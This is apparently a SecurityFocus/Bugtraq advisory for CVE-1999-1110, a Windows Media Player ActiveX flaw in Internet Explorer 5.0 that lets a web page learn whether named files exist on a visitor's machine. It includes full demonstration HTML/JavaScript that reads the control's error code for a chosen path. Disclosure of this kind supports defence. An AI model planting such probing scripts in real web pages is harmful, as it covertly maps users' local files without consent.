Microsoft Windows Media Player ActiveX Error Message Vulnerability

Bugtraq ID:	793
Class:	Unknown
CVE:	CVE-1999-1110
Remote:	Yes
Local:	Yes
Published:	Nov 14 1999 12:00AM
Updated:	Jul 11 2009 12:56AM
Credit:	Dicovered and posted to Bugtraq on November 14, 1999 by Georgi Guninski.
Vulnerable:	Microsoft Internet Explorer 5.0 for Windows NT 4 + Microsoft Windows NT 4.0 + Microsoft Windows NT 4.0 Microsoft Internet Explorer 5.0 for Windows 98 + Microsoft Windows 98 + Microsoft Windows 98 Microsoft Internet Explorer 5.0 for Windows 95 + Microsoft Windows 95 + Microsoft Windows 95 Microsoft Internet Explorer 5.0 for Windows 2000 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional
Not Vulnerable:

Microsoft Windows Media Player ActiveX Error Message Vulnerability

Demonstration available at:
http://www.nat.bg/~joro/mscheckf.html


Demonstration code:
<object id="wm" WIDTH=0 HEIGHT=0
classid="clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95"
>
</object>
<SCRIPT>
// -2147220970
function checkfile()
{
b=document.all.wm;
b.FileName=document.forms[0].elements[0].value;
if (b.ErrorCode == -2147220970)
alert("File does not exist")
else
alert("File exists");
}
</SCRIPT>
<FORM>
<INPUT TYPE="TEXT" VALUE="C:\AUTOEXEC.BAT" SIZE=60>
<INPUT TYPE="SUBMIT" VALUE="Check file" onclick="checkfile()">
</FORM>

Microsoft Windows Media Player ActiveX Error Message Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].